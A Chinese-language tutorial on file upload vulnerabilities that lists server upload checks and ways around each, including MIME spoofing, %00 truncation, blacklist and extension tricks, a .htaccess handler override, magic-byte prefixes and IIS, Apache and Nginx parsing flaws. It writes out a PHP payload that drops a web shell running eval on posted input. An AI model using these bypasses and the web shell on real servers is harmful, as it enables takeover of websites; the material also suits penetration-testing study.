文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。
0x01 上传检测机制
0x01_1 客户端javascript检测
通常检测的是文件的扩展名
0x01_2 服务端MIME类型检测
通常检测的是Content-Type内容
0x01_3 服务端目录路径检测
通常跟path参数相关的内容
0x01_4 服务端文件扩展名检测
通常检测跟文件extension相关的内容
0x01_5 服务端文件内容检测
检测文件内容是否合法或含有恶意代码
0x02 文件上传漏洞利用
0x02_1 javascript客户端验证
创建一个允许的文件类型,里面写入我们需要的代码,抓包,拦截,修改为可执行的恶意代码。
0x02_2 MIME类型验证
直接修改Content-Type:允许的MIME类型
修改文件名为可执行文件,有时候需要配合修改multipart/form-data
的大小写
常见的MIME类型:
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream
0x02_3 目录路利用
解析是从前往后解析,判断是从后往前判断。
零零截断一般步骤为:
1.新建一个名为test.php%00.jpg或者test.php.jpg
2.在里面写入一句话木马([如何在图片中插入一句话](http://wenku.baidu.com/link?url=GoR21a2WWH2C8c8Q7HIgrz7CoW3B4suAwDaaRkAt6vgCZyYr7Le7Z9ZeiurBIE7NHuNwJ7dro5lCql8mRlk3y2IS7iFbWuQM99HV_kXDvTm))
3.burp抓包改%00或者.为url编码
iis按照路径解析的是:
比如我们上传一个名为123.asp/123.jpg文件
则,123.asp/123.jpg会被直接解析成123.asp
0x02_4 文件扩展名利用
黑名单检测
文件大小写绕过
比如像Asp,Php之类的文件名绕过黑名单检测
名单列表绕过
利用黑名单里没有的名单进行攻击,比如黑名单里没有asa,cer,php3,php5之类的
特殊文件名绕过
修改文件名为test.asp.或者test.asp_(下划线为空格),绕过验证之后,windows会自动去掉点和空格,linux和unix下不支持
0x00截断绕过
双扩展名绕过
apache解析式从后往前,所以如果上传一个test.php.123,不认识.123的文件,所以会往前解析,直到遇到能解析的
.htaccess文件攻击
配合名单列表绕过,上传一个自定义的.htaccess文件,就可以轻松绕过各种检测
新建一个.htaccess文件
代码为:
SetHandler application/x-httpd-php
然后上传一个包含test字符串的文件,没有扩展名
里面写入一句话即可
白名单检测
%00截断
解析调用/漏洞绕过
配合上传一个代码注入过的白名单文件即可,再利用解析调用/漏洞
.htaccess文件
0x02_5 文件内容检测绕过
文件头检测
jpg-JFIF-FF D8 FF EO 00 10 4A 46 49 46 gif-GIF89a-47 49 46 38 39 61 png-PNG-89 50 4E 47 在文件头后面加上恶意代码就行了
- 文件相关信息检测
- 文件加载检测
在文件注释处插入恶意代码
0x02_6 解析漏洞利用
Apache的扩展名顺序解析漏洞
命名为test.php.xxx(集成环境里php3都会按照php来解析)
IIS的asp解析漏洞
IIS6.0
1.命名为test.asp;.jpg 2.命名为test.asp/123.jpg(test.asp是一个目录) 3.命名为test.asa,test.cer.test.cdx
IIS7.5/7.0
在默认Fast-CGI开启状况下,上传一个名字为test.jpg,内容为 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?> 的文件,然后访问test.jpg/.php,在这个目录下就会生成一句话木马 shell.php
Nginx的%00解析漏洞
命名为test.jpg%00.php
php-cgi的默认配置漏洞